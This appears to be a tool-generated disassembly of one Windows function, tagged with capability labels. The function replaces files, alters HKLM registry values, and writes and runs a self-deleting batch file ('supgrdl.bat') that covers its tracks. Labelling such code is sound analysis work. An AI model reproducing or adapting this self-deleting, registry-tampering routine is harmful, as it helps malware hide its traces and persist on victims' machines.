Function at 0x4010da
Capabilities:
Copy file
Create process on windows
Delete file
Delete registry value
Get common file path
Query or enumerate registry value
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0c
push ebx
push esi
push edi
xor ebx, ebx
push 0x10
pop ecx
xor eax, eax
mov dword [ebp - 0x78], ebx
lea edi, [ebp - 0x74]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x40c]
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], 0x800
mov dword [ebp - 0x40c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x401442
cmp dword [ebp - 0x3fc], 2
push ebx
jne 0x401443
call fcn.00401027
cmp eax, ebx
mov dword [ebp - 0x20], eax
je 0x401161
push eax
call fcn.00401027
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x401161
push eax
call fcn.00401027
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x401161
push eax
call fcn.00401027
mov dword [ebp - 8], eax
push 0x100
lea eax, [ebp - 0x378]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x50c]
push str._supgrdl.bat
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push dword [ebp - 0xc]
lea eax, [ebp - 0x278]
push eax
call esi
lea eax, [ebp - 0x278]
push 0x2e
push eax
call fcn.004010b5
cmp eax, ebx
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ecx
pop ecx
je 0x401203
push str..bin
push eax
call esi
push ebx
push dword [ebp - 0xc]
lea eax, [ebp - 0x278]
push eax
mov dword [ebp - 0x14], 0x1e
call edi
test eax, eax
jne 0x40120c
cmp dword [ebp - 0x14], ebx
jle 0x401362
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [ebp - 0x14]
push ebx
push dword [ebp - 0xc]
lea eax, [ebp - 0x278]
push eax
call edi
test eax, eax
je 0x4011db
cmp dword [ebp - 0x14], ebx
jle 0x401362
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], ebx
je 0x4012ef
push dword [ebp - 4]
lea eax, [ebp - 0x278]
push eax
call esi
lea eax, [ebp - 0x278]
push 0x5c
push eax
call fcn.004010b5
cmp eax, ebx
pop ecx
pop ecx
je 0x4012ef
push ebx
mov byte [eax], bl
inc eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea eax, [ebp - 0x278]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012ef
push dword [ebp - 4]
lea eax, [ebp - 0x278]
push eax
call esi
push 0x4020d4
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x278]
push eax
call esi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xe0c]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
lea eax, [ebp - 0x278]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4012e6
push dword [ebp - 0x18]
lea eax, [ebp - 0xe0c]
push eax
push dword [ebp - 0x1c]
push ebx
push dword [ebp - 4]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x278]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], ebx
je 0x401362
push dword [ebp - 8]
lea eax, [ebp - 0x278]
push eax
call esi
lea eax, [ebp - 0x278]
push 0x2e
push eax
call fcn.004010b5
cmp eax, ebx
pop ecx
pop ecx
je 0x401362
push str..bin
push eax
call esi
push 0x1e
pop esi
push ebx
push dword [ebp - 8]
lea eax, [ebp - 0x278]
push eax
call edi
test eax, eax
jne 0x401355
cmp esi, ebx
jle 0x401362
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push dword [ebp - 8]
lea eax, [ebp - 0x278]
push eax
dec esi
call edi
test eax, eax
je 0x401330
cmp esi, ebx
jle 0x401362
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 0x80000080
push 2
push ebx
push 3
push 0x40000000
lea eax, [ebp - 0x50c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401442
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x378]
push eax
push eax
push dword [ebp - 0x20]
lea eax, [ebp - 0x278]
push str.ping_127.0.0.1_r_ndel__s_r_nattrib__r__s__h__supgrdl.bat_r_ndel__supgrdl.bat_r_n
push eax
call esi
add esp, 0x14
push ebx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x278]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x50c]
push str.cmd.exe__C__supgrdl.bat
push eax
call esi
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x60c]
push str._scmd.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x402058
push ebx
push 0x8000440
push ebx
push ebx
push ebx
lea eax, [ebp - 0x50c]
push eax
lea eax, [ebp - 0x60c]
push eax
mov dword [ebp - 0x78], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401442
push dword [ebp - 0x34]
call edi
push dword [ebp - 0x30]
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]